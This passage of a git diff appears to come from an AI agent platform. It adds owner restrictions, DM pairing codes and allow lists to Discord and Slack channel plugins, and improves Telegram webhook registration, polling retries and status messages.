checksum = "4122cd3169e94605190e77839c9a40d40ed048d305bfdc146e7df40ab0f3e517"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "zmij"
version = "1.0.21"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa"
+3 -1
View File
@@ -9,7 +9,7 @@ publish = false
[dependencies]
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
wit-bindgen = "0.41.0"
wit-bindgen = "0.36"
[lib]
crate-type = ["cdylib"]
@@ -21,3 +21,5 @@ lto = true
codegen-units = 1
[workspace]
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# Build the Discord channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - discord.wasm - WASM component ready for deployment
# - discord.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building Discord channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm
# Optimize the component
wasm-tools strip discord.wasm -o discord.wasm
echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your bot token to secrets:"
echo " # Set discord_bot_token and discord_public_key in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
+22 -2
View File
@@ -2,6 +2,20 @@
"type": "channel",
"name": "discord",
"description": "Discord Gateway/Webhook channel for handling slash commands, buttons, and messages",
"setup": {
"required_secrets": [
{
"name": "discord_bot_token",
"prompt": "Enter your Discord Bot Token (from Developer Portal)",
"optional": false
},
{
"name": "discord_public_key",
"prompt": "Enter your Discord Application Public Key (from Developer Portal > General Information)",
"optional": false
}
]
},
"capabilities": {
"http": {
"allowlist": [
@@ -10,7 +24,7 @@
"credentials": {
"discord_bot_token": {
"secret_name": "discord_bot_token",
"location": { "type": "header", "header_name": "Authorization", "prefix": "Bot " },
"location": { "type": "header", "name": "Authorization", "prefix": "Bot " },
"host_patterns": ["discord.com"]
}
},
@@ -30,10 +44,16 @@
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
},
"webhook": {
"signature_key_secret_name": "discord_public_key"
}
}
},
"config": {
"require_signature_verification": true
"require_signature_verification": true,
"owner_id": null,
"dm_policy": "pairing",
"allow_from": []
}
}
+226 -16
View File
@@ -124,12 +124,57 @@ struct DiscordMessageMetadata {
thread_id: Option<String>,
}
/// Workspace path for persisting owner_id across WASM callbacks.
const OWNER_ID_PATH: &str = "state/owner_id";
/// Workspace path for persisting dm_policy across WASM callbacks.
const DM_POLICY_PATH: &str = "state/dm_policy";
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
const ALLOW_FROM_PATH: &str = "state/allow_from";
/// Channel name for pairing store (used by pairing host APIs).
const CHANNEL_NAME: &str = "discord";
/// Channel configuration from capabilities file.
#[derive(Debug, Deserialize)]
struct DiscordConfig {
#[serde(default)]
#[allow(dead_code)]
require_signature_verification: bool,
#[serde(default)]
owner_id: Option<String>,
#[serde(default)]
dm_policy: Option<String>,
#[serde(default)]
allow_from: Option<Vec<String>>,
}
struct DiscordChannel;
impl Guest for DiscordChannel {
fn on_start(_config_json: String) -> Result<ChannelConfig, String> {
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
let config: DiscordConfig = serde_json::from_str(&config_json)
.map_err(|e| format!("Failed to parse config: {}", e))?;
channel_host::log(channel_host::LogLevel::Info, "Discord channel starting");
// Persist owner_id so subsequent callbacks can read it
if let Some(ref owner_id) = config.owner_id {
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
channel_host::log(
channel_host::LogLevel::Info,
&format!("Owner restriction enabled: user {}", owner_id),
);
} else {
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
}
// Persist dm_policy and allow_from for DM pairing
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
.unwrap_or_else(|_| "[]".to_string());
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
Ok(ChannelConfig {
display_name: "Discord".to_string(),
http_endpoints: vec![HttpEndpointConfig {
@@ -169,16 +214,21 @@ impl Guest for DiscordChannel {
// Application Command (slash command)
2 => {
handle_slash_command(&interaction);
json_response(
200,
serde_json::json!({
"type": 5,
"data": {
"content": "🤔 Thinking..."
}
}),
)
if handle_slash_command(&interaction) {
json_response(200, serde_json::json!({"type": 5}))
} else {
// Permission denied — ephemeral response
json_response(
200,
serde_json::json!({
"type": 4,
"data": {
"content": "You are not authorized to use this bot.",
"flags": 64
}
}),
)
}
}
// Message Component (buttons, selects)
@@ -270,7 +320,8 @@ impl Guest for DiscordChannel {
}
}
fn handle_slash_command(interaction: &DiscordInteraction) {
/// Returns true if the message was emitted, false if permission denied.
fn handle_slash_command(interaction: &DiscordInteraction) -> bool {
let user = interaction
.member
.as_ref()
@@ -287,6 +338,22 @@ fn handle_slash_command(interaction: &DiscordInteraction) {
})
.unwrap_or_default();
// DM if no guild member context (only direct user field set)
let is_dm = interaction.member.is_none();
// Permission check
if !check_sender_permission(
&user_id,
Some(&user_name),
is_dm,
Some(&PairingReplyCtx {
application_id: interaction.application_id.clone(),
token: interaction.token.clone(),
}),
) {
return false;
}
let channel_id = interaction.channel_id.clone().unwrap_or_default();
let command_name = interaction
@@ -322,14 +389,13 @@ fn handle_slash_command(interaction: &DiscordInteraction) {
channel_host::LogLevel::Error,
&format!("Failed to serialize metadata: {}", e),
);
// Attempt to notify user of internal error
let url = format!(
"https://discord.com/api/v10/webhooks/{}/{}",
interaction.application_id, interaction.token
);
let payload = serde_json::json!({
"content": "❌ Internal Error: Failed to process command metadata.",
"flags": 64 // Ephemeral
"flags": 64
});
let _ = channel_host::http_request(
"POST",
@@ -338,7 +404,7 @@ fn handle_slash_command(interaction: &DiscordInteraction) {
Some(&serde_json::to_vec(&payload).unwrap_or_default()),
None,
);
return;
return true; // Error, but not a permission denial
}
};
@@ -349,10 +415,10 @@ fn handle_slash_command(interaction: &DiscordInteraction) {
thread_id: None,
metadata_json,
});
true
}
fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordMessage) {
// Check member first (for server contexts), then user (for DMs)
let user = interaction
.member
.as_ref()
@@ -369,6 +435,11 @@ fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordM
})
.unwrap_or_default();
let is_dm = interaction.member.is_none();
if !check_sender_permission(&user_id, Some(&user_name), is_dm, None) {
return;
}
let channel_id = message.channel_id.clone();
let metadata = DiscordMessageMetadata {
@@ -399,6 +470,145 @@ fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordM
});
}
// ============================================================================
// Permission & Pairing
// ============================================================================
/// Context needed to send a pairing reply via Discord webhook followup.
struct PairingReplyCtx {
application_id: String,
token: String,
}
/// Check if a sender is permitted to interact with the bot.
/// Returns true if allowed, false if denied (pairing reply sent if applicable).
fn check_sender_permission(
user_id: &str,
username: Option<&str>,
is_dm: bool,
reply_ctx: Option<&PairingReplyCtx>,
) -> bool {
// 1. Owner check (highest priority, applies to all contexts)
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
if let Some(ref owner) = owner_id {
if user_id != owner {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping interaction from non-owner user {} (owner: {})",
user_id, owner
),
);
return false;
}
return true;
}
// 2. DM policy (only for DMs when no owner_id)
if !is_dm {
return true; // Guild interactions bypass DM policy
}
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
if dm_policy == "open" {
return true;
}
// 3. Build merged allow list: config allow_from + pairing store
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
allowed.extend(store_allowed);
}
// 4. Check sender against allow list
let is_allowed = allowed.contains(&"*".to_string())
|| allowed.contains(&user_id.to_string())
|| username.is_some_and(|u| allowed.contains(&u.to_string()));
if is_allowed {
return true;
}
// 5. Not allowed — handle by policy
if dm_policy == "pairing" {
let meta = serde_json::json!({
"user_id": user_id,
"username": username,
})
.to_string();
match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) {
Ok(result) => {
channel_host::log(
channel_host::LogLevel::Info,
&format!(
"Pairing request for user {}: code {}",
user_id, result.code
),
);
if result.created {
if let Some(ctx) = reply_ctx {
let _ = send_pairing_reply(ctx, &result.code);
}
}
}
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Pairing upsert failed: {}", e),
);
}
}
}
false
}
/// Send a pairing code as an ephemeral Discord followup message.
fn send_pairing_reply(ctx: &PairingReplyCtx, code: &str) -> Result<(), String> {
let url = format!(
"https://discord.com/api/v10/webhooks/{}/{}",
ctx.application_id, ctx.token
);
let payload = serde_json::json!({
"content": format!(
"To pair with this bot, run: `ironclaw pairing approve discord {}`",
code
),
"flags": 64 // Ephemeral — only visible to the sender
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({"Content-Type": "application/json"});
let result = channel_host::http_request(
"POST",
&url,
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) if response.status >= 200 && response.status < 300 => Ok(()),
Ok(response) => {
let body_str = String::from_utf8_lossy(&response.body);
Err(format!(
"Discord API error: {} - {}",
response.status, body_str
))
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse {
let body = serde_json::to_vec(&value).unwrap_or_default();
let headers = serde_json::json!({"Content-Type": "application/json"});
+2
View File
@@ -27,3 +27,5 @@ opt-level = "s"
lto = true
strip = true
codegen-units = 1
[workspace]
+18 -1
View File
@@ -2,6 +2,20 @@
"type": "channel",
"name": "slack",
"description": "Slack Events API channel for receiving and responding to Slack messages",
"setup": {
"required_secrets": [
{
"name": "slack_bot_token",
"prompt": "Enter your Slack Bot OAuth Token (xoxb-...)",
"optional": false
},
{
"name": "slack_signing_secret",
"prompt": "Enter your Slack Signing Secret (from App Credentials)",
"optional": false
}
]
},
"capabilities": {
"http": {
"allowlist": [
@@ -33,6 +47,9 @@
}
},
"config": {
"signing_secret_name": "slack_signing_secret"
"signing_secret_name": "slack_signing_secret",
"owner_id": null,
"dm_policy": "pairing",
"allow_from": []
}
}
+167 -6
View File
@@ -104,15 +104,31 @@ struct SlackPostMessageResponse {
ts: Option<String>,
}
/// Workspace path for persisting owner_id across WASM callbacks.
const OWNER_ID_PATH: &str = "state/owner_id";
/// Workspace path for persisting dm_policy across WASM callbacks.
const DM_POLICY_PATH: &str = "state/dm_policy";
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
const ALLOW_FROM_PATH: &str = "state/allow_from";
/// Channel name for pairing store (used by pairing host APIs).
const CHANNEL_NAME: &str = "slack";
/// Channel configuration from capabilities file.
#[derive(Debug, Deserialize)]
struct SlackConfig {
/// Name of secret containing signing secret (for verification by host).
/// Parsed from config for forward compatibility; not yet used in WASM
/// (host handles signature verification).
#[serde(default = "default_signing_secret_name")]
#[allow(dead_code)]
signing_secret_name: String,
#[serde(default)]
owner_id: Option<String>,
#[serde(default)]
dm_policy: Option<String>,
#[serde(default)]
allow_from: Option<Vec<String>>,
}
fn default_signing_secret_name() -> String {
@@ -123,12 +139,30 @@ struct SlackChannel;
impl Guest for SlackChannel {
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
// Parse configuration
let _config: SlackConfig = serde_json::from_str(&config_json)
let config: SlackConfig = serde_json::from_str(&config_json)
.map_err(|e| format!("Failed to parse config: {}", e))?;
channel_host::log(channel_host::LogLevel::Info, "Slack channel starting");
// Persist owner_id so subsequent callbacks can read it
if let Some(ref owner_id) = config.owner_id {
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
channel_host::log(
channel_host::LogLevel::Info,
&format!("Owner restriction enabled: user {}", owner_id),
);
} else {
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
}
// Persist dm_policy and allow_from for DM pairing
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
.unwrap_or_else(|_| "[]".to_string());
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
Ok(ChannelConfig {
display_name: "Slack".to_string(),
http_endpoints: vec![HttpEndpointConfig {
@@ -136,7 +170,7 @@ impl Guest for SlackChannel {
methods: vec!["POST".to_string()],
require_secret: true,
}],
poll: None, // Slack uses push via webhooks, no polling needed
poll: None,
})
}
@@ -280,7 +314,7 @@ impl Guest for SlackChannel {
/// Handle a Slack event and emit message if applicable.
fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Option<String>) {
match event.event_type.as_str() {
// Direct mention of the bot
// Direct mention of the bot (always in a channel, not a DM)
"app_mention" => {
if let (Some(user), Some(channel), Some(text), Some(ts)) = (
event.user,
@@ -288,6 +322,10 @@ fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Opt
event.text,
event.ts.clone(),
) {
// app_mention is always in a channel (not DM)
if !check_sender_permission(&user, &channel, false) {
return;
}
emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id);
}
}
@@ -307,6 +345,9 @@ fn handle_slack_event(event: SlackEvent, team_id: Option<String>, _event_id: Opt
) {
// Only process DMs (channel IDs starting with D)
if channel.starts_with('D') {
if !check_sender_permission(&user, &channel, true) {
return;
}
emit_message(user, text, channel, event.thread_ts.or(Some(ts)), team_id);
}
}
@@ -358,6 +399,126 @@ fn emit_message(
});
}
// ============================================================================
// Permission & Pairing
// ============================================================================
/// Check if a sender is permitted. Returns true if allowed.
/// For pairing mode, sends a pairing code DM if denied.
fn check_sender_permission(user_id: &str, channel_id: &str, is_dm: bool) -> bool {
// 1. Owner check (highest priority, applies to all contexts)
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
if let Some(ref owner) = owner_id {
if user_id != owner {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping message from non-owner user {} (owner: {})",
user_id, owner
),
);
return false;
}
return true;
}
// 2. DM policy (only for DMs when no owner_id)
if !is_dm {
return true; // Channel messages bypass DM policy
}
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
if dm_policy == "open" {
return true;
}
// 3. Build merged allow list: config allow_from + pairing store
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
allowed.extend(store_allowed);
}
// 4. Check sender (Slack events only have user ID, not username)
let is_allowed =
allowed.contains(&"*".to_string()) || allowed.contains(&user_id.to_string());
if is_allowed {
return true;
}
// 5. Not allowed — handle by policy
if dm_policy == "pairing" {
let meta = serde_json::json!({
"user_id": user_id,
"channel_id": channel_id,
})
.to_string();
match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) {
Ok(result) => {
channel_host::log(
channel_host::LogLevel::Info,
&format!(
"Pairing request for user {}: code {}",
user_id, result.code
),
);
if result.created {
let _ = send_pairing_reply(channel_id, &result.code);
}
}
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Pairing upsert failed: {}", e),
);
}
}
}
false
}
/// Send a pairing code message via Slack chat.postMessage.
fn send_pairing_reply(channel_id: &str, code: &str) -> Result<(), String> {
let payload = serde_json::json!({
"channel": channel_id,
"text": format!(
"To pair with this bot, run: `ironclaw pairing approve slack {}`",
code
),
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({"Content-Type": "application/json"});
let result = channel_host::http_request(
"POST",
"https://slack.com/api/chat.postMessage",
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) if response.status == 200 => Ok(()),
Ok(response) => {
let body_str = String::from_utf8_lossy(&response.body);
Err(format!(
"Slack API error: {} - {}",
response.status, body_str
))
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
/// Strip leading bot mention from text.
fn strip_bot_mention(text: &str) -> String {
// Slack mentions look like <@U12345678>
+2 -1
View File
@@ -17,7 +17,6 @@ serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
# Exclude from parent workspace (this is a standalone WASM component)
[workspace]
[profile.release]
# Optimize for size
@@ -25,3 +24,5 @@ opt-level = "s"
lto = true
strip = true
codegen-units = 1
[workspace]
+586 -175
View File
@@ -244,6 +244,67 @@ struct TelegramConfig {
struct TelegramChannel;
#[derive(Debug, Clone, PartialEq, Eq)]
enum TelegramStatusAction {
Typing,
Notify(String),
}
const TELEGRAM_STATUS_MAX_CHARS: usize = 600;
fn truncate_status_message(input: &str, max_chars: usize) -> String {
let mut iter = input.chars();
let truncated: String = iter.by_ref().take(max_chars).collect();
if iter.next().is_some() {
format!("{}...", truncated)
} else {
truncated
}
}
fn status_message_for_user(update: &StatusUpdate) -> Option<String> {
let message = update.message.trim();
if message.is_empty() {
None
} else {
Some(truncate_status_message(message, TELEGRAM_STATUS_MAX_CHARS))
}
}
fn get_updates_url(offset: i64, timeout_secs: u32) -> String {
format!(
"https://api.telegram.org/bot{{TELEGRAM_BOT_TOKEN}}/getUpdates?offset={}&timeout={}&allowed_updates=[\"message\",\"edited_message\"]",
offset, timeout_secs
)
}
fn classify_status_update(update: &StatusUpdate) -> Option<TelegramStatusAction> {
match update.status {
StatusType::Thinking => Some(TelegramStatusAction::Typing),
StatusType::Done | StatusType::Interrupted => None,
// Tool telemetry can be noisy in chat; keep it as typing-only UX.
StatusType::ToolStarted | StatusType::ToolCompleted | StatusType::ToolResult => None,
StatusType::Status => {
let msg = update.message.trim();
if msg.eq_ignore_ascii_case("Done")
|| msg.eq_ignore_ascii_case("Interrupted")
|| msg.eq_ignore_ascii_case("Awaiting approval")
|| msg.eq_ignore_ascii_case("Rejected")
{
None
} else {
status_message_for_user(update).map(TelegramStatusAction::Notify)
}
}
StatusType::ApprovalNeeded
| StatusType::JobStarted
| StatusType::AuthRequired
| StatusType::AuthCompleted => {
status_message_for_user(update).map(TelegramStatusAction::Notify)
}
}
}
impl Guest for TelegramChannel {
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
channel_host::log(
@@ -312,19 +373,19 @@ impl Guest for TelegramChannel {
"Webhook mode enabled (tunnel configured)",
);
// Register webhook with Telegram API
// Register webhook with Telegram API — propagate errors so a bad token
// causes activation to fail rather than silently succeeding.
if let Some(ref tunnel_url) = config.tunnel_url {
// Clear any stale webhook first to avoid 409 Conflict
let _ = delete_webhook();
channel_host::log(
channel_host::LogLevel::Info,
&format!("Registering webhook: {}/webhook/telegram", tunnel_url),
);
if let Err(e) = register_webhook(tunnel_url, config.webhook_secret.as_deref()) {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Failed to register webhook: {}", e),
);
}
register_webhook(tunnel_url, config.webhook_secret.as_deref())
.map_err(|e| format!("Failed to register webhook: {}", e))?;
}
} else {
channel_host::log(
@@ -332,14 +393,10 @@ impl Guest for TelegramChannel {
"Polling mode enabled (no tunnel configured)",
);
// Delete any existing webhook before polling
// Telegram doesn't allow getUpdates while a webhook is active
if let Err(e) = delete_webhook() {
channel_host::log(
channel_host::LogLevel::Warn,
&format!("Failed to delete webhook (may not exist): {}", e),
);
}
// Delete any existing webhook before polling. Telegram returns success
// when no webhook exists, so any error here (e.g. 401) means a bad token.
delete_webhook()
.map_err(|e| format!("Bot token validation failed: {}", e))?;
}
// Configure polling only if not in webhook mode
@@ -422,20 +479,36 @@ impl Guest for TelegramChannel {
&format!("Polling getUpdates with offset {}", offset),
);
// Build getUpdates URL with parameters
// - offset: Identifier of the first update to be returned
// - timeout: Long polling timeout in seconds (Telegram recommends 30+)
// - allowed_updates: Only get message updates
let url = format!(
"https://api.telegram.org/bot{{TELEGRAM_BOT_TOKEN}}/getUpdates?offset={}&timeout=30&allowed_updates=[\"message\",\"edited_message\"]",
offset
);
let headers_json = serde_json::json!({}).to_string();
let primary_url = get_updates_url(offset, 30);
let headers = serde_json::json!({});
// 35s HTTP timeout outlives Telegram's 30s server-side long-poll.
// If the TCP connection drops, retry once immediately with a short poll
// so we don't wait a full extra tick (~30s) before delivering updates.
let result = match channel_host::http_request(
"GET",
&primary_url,
&headers_json,
None,
Some(35_000),
) {
Ok(response) => Ok(response),
Err(primary_err) => {
channel_host::log(
channel_host::LogLevel::Warn,
&format!(
"getUpdates request failed ({}), retrying once immediately",
primary_err
),
);
// 35s HTTP timeout outlives Telegram's 30s server-side long-poll
let result =
channel_host::http_request("GET", &url, &headers.to_string(), None, Some(35_000));
let retry_url = get_updates_url(offset, 3);
channel_host::http_request("GET", &retry_url, &headers_json, None, Some(8_000))
.map_err(|retry_err| {
format!("primary error: {}; retry error: {}", primary_err, retry_err)
})
}
};
match result {
Ok(response) => {
@@ -516,7 +589,7 @@ impl Guest for TelegramChannel {
let result = send_message(
metadata.chat_id,
&response.content,
metadata.message_id,
Some(metadata.message_id),
Some("Markdown"),
);
@@ -539,7 +612,7 @@ impl Guest for TelegramChannel {
let msg_id = send_message(
metadata.chat_id,
&response.content,
metadata.message_id,
Some(metadata.message_id),
None,
)
.map_err(|e| format!("Plain-text retry also failed: {}", e))?;
@@ -558,10 +631,10 @@ impl Guest for TelegramChannel {
}
fn on_status(update: StatusUpdate) {
// Only send typing indicator for Thinking status
if !matches!(update.status, StatusType::Thinking) {
return;
}
let action = match classify_status_update(&update) {
Some(action) => action,
None => return,
};
// Parse chat_id from metadata
let metadata: TelegramMessageMetadata = match serde_json::from_str(&update.metadata_json) {
@@ -569,40 +642,68 @@ impl Guest for TelegramChannel {
Err(_) => {
channel_host::log(
channel_host::LogLevel::Debug,
"on_status: no valid Telegram metadata, skipping typing indicator",
"on_status: no valid Telegram metadata, skipping status update",
);
return;
}
};
// POST /sendChatAction with action "typing"
let payload = serde_json::json!({
"chat_id": metadata.chat_id,
"action": "typing"
});
match action {
TelegramStatusAction::Typing => {
// POST /sendChatAction with action "typing"
let payload = serde_json::json!({
"chat_id": metadata.chat_id,
"action": "typing"
});
let payload_bytes = match serde_json::to_vec(&payload) {
Ok(b) => b,
Err(_) => return,
};
let payload_bytes = match serde_json::to_vec(&payload) {
Ok(b) => b,
Err(_) => return,
};
let headers = serde_json::json!({
"Content-Type": "application/json"
});
let headers = serde_json::json!({
"Content-Type": "application/json"
});
let result = channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendChatAction",
&headers.to_string(),
Some(&payload_bytes),
None,
);
let result = channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendChatAction",
&headers.to_string(),
Some(&payload_bytes),
None,
);
if let Err(e) = result {
channel_host::log(
channel_host::LogLevel::Debug,
&format!("sendChatAction failed: {}", e),
);
if let Err(e) = result {
channel_host::log(
channel_host::LogLevel::Debug,
&format!("sendChatAction failed: {}", e),
);
}
}
TelegramStatusAction::Notify(prompt) => {
// Send user-visible status updates for actionable events.
if let Err(first_err) =
send_message(metadata.chat_id, &prompt, Some(metadata.message_id), None)
{
channel_host::log(
channel_host::LogLevel::Warn,
&format!(
"Failed to send status reply ({}), retrying without reply context",
first_err
),
);
if let Err(retry_err) = send_message(metadata.chat_id, &prompt, None, None) {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Failed to send status message without reply context: {}",
retry_err
),
);
}
}
}
}
}
@@ -643,15 +744,18 @@ impl std::fmt::Display for SendError {
fn send_message(
chat_id: i64,
text: &str,
reply_to_message_id: i64,
reply_to_message_id: Option<i64>,
parse_mode: Option<&str>,
) -> Result<i64, SendError> {
let mut payload = serde_json::json!({
"chat_id": chat_id,
"text": text,
"reply_to_message_id": reply_to_message_id,
});
if let Some(message_id) = reply_to_message_id {
payload["reply_to_message_id"] = serde_json::Value::Number(message_id.into());
}
if let Some(mode) = parse_mode {
payload["parse_mode"] = serde_json::Value::String(mode.to_string());
}
@@ -793,36 +897,61 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<()
None,
);
match result {
Ok(response) => {
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
return Err(format!("HTTP {}: {}", response.status, body_str));
}
let mut response = match result {
Ok(response) => response,
Err(e) => return Err(format!("HTTP request failed: {}", e)),
};
// Parse Telegram API response
let api_response: TelegramApiResponse<serde_json::Value> =
serde_json::from_slice(&response.body)
.map_err(|e| format!("Failed to parse response: {}", e))?;
let mut retried = false;
if response.status == 409 {
channel_host::log(
channel_host::LogLevel::Warn,
"409 Conflict -- deleting existing webhook and retrying",
);
let _ = delete_webhook();
retried = true;
if !api_response.ok {
return Err(format!(
"Telegram API error: {}",
api_response
.description
.unwrap_or_else(|| "unknown".to_string())
));
}
channel_host::log(
channel_host::LogLevel::Info,
&format!("Webhook registered successfully: {}", webhook_url),
);
Ok(())
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
response = match channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/setWebhook",
&headers.to_string(),
Some(&body_bytes),
None,
) {
Ok(resp) => resp,
Err(e) => return Err(format!("HTTP request failed (after 409 retry): {}", e)),
};
}
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!("HTTP {}{}: {}", response.status, context, body_str));
}
// Parse Telegram API response
let api_response: TelegramApiResponse<serde_json::Value> =
serde_json::from_slice(&response.body)
.map_err(|e| format!("Failed to parse response: {}", e))?;
if !api_response.ok {
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!(
"Telegram API error{}: {}",
context,
api_response
.description
.unwrap_or_else(|| "unknown".to_string())
));
}
let context = if retried { " (after retry)" } else { "" };
channel_host::log(
channel_host::LogLevel::Info,
&format!("Webhook registered successfully{}: {}", context, webhook_url),
);
Ok(())
}
// ============================================================================
@@ -831,40 +960,17 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<()
/// Send a pairing code message to a chat. Used when an unknown user DMs the bot.
fn send_pairing_reply(chat_id: i64, code: &str) -> Result<(), String> {
let payload = serde_json::json!({
"chat_id": chat_id,
"text": format!(
send_message(
chat_id,
&format!(
"To pair with this bot, run: `ironclaw pairing approve telegram {}`",
code
),
"parse_mode": "Markdown",
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize payload: {}", e))?;
let headers = serde_json::json!({
"Content-Type": "application/json"
});
let result = channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage",
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) => {
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
return Err(format!("HTTP {}: {}", response.status, body_str));
}
Ok(())
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
Some("Markdown"),
)
.map(|_| ())
.map_err(|e| e.to_string())
}
// ============================================================================
@@ -1027,33 +1133,17 @@ fn handle_message(message: TelegramMessage) {
let metadata_json = serde_json::to_string(&metadata).unwrap_or_else(|_| "{}".to_string());
// Clean the message text (strip bot mentions and commands)
let bot_username = channel_host::workspace_read(BOT_USERNAME_PATH).unwrap_or_default();
let cleaned_text = clean_message_text(
let content_to_emit = match content_to_emit_for_agent(
&content,
if bot_username.is_empty() {
None
} else {
Some(bot_username.as_str())
},
);
// Determine what to emit to the agent.
// - `/start` (no args): emit a welcome placeholder so the agent greets the user
// - Other bare `/commands` (e.g. /interrupt, /help): pass the raw command through
// so Submission::parse() can handle it
// - Commands with args (e.g. `/start hello`): cleaned_text already has the args
// - Plain text: pass through as-is
let trimmed_content = content.trim();
let content_to_emit = if trimmed_content.eq_ignore_ascii_case("/start") {
"[User started the bot]".to_string()
} else if cleaned_text.is_empty() && trimmed_content.starts_with('/') {
// Bare control command like /interrupt, /stop, /help — pass through raw
trimmed_content.to_string()
} else if cleaned_text.is_empty() {
return;
} else {
cleaned_text
) {
Some(value) => value,
None => return,
};
// Emit the message to the agent
@@ -1121,6 +1211,31 @@ fn clean_message_text(text: &str, bot_username: Option<&str>) -> String {
result
}
/// Decide which user content should be emitted to the agent loop.
///
/// - `/start` emits a placeholder so the agent can greet the user
/// - bare slash commands are passed through for Submission parsing
/// - empty/mention-only messages are ignored
/// - otherwise cleaned text is emitted
fn content_to_emit_for_agent(content: &str, bot_username: Option<&str>) -> Option<String> {
let cleaned_text = clean_message_text(content, bot_username);
let trimmed_content = content.trim();
if trimmed_content.eq_ignore_ascii_case("/start") {
return Some("[User started the bot]".to_string());
}
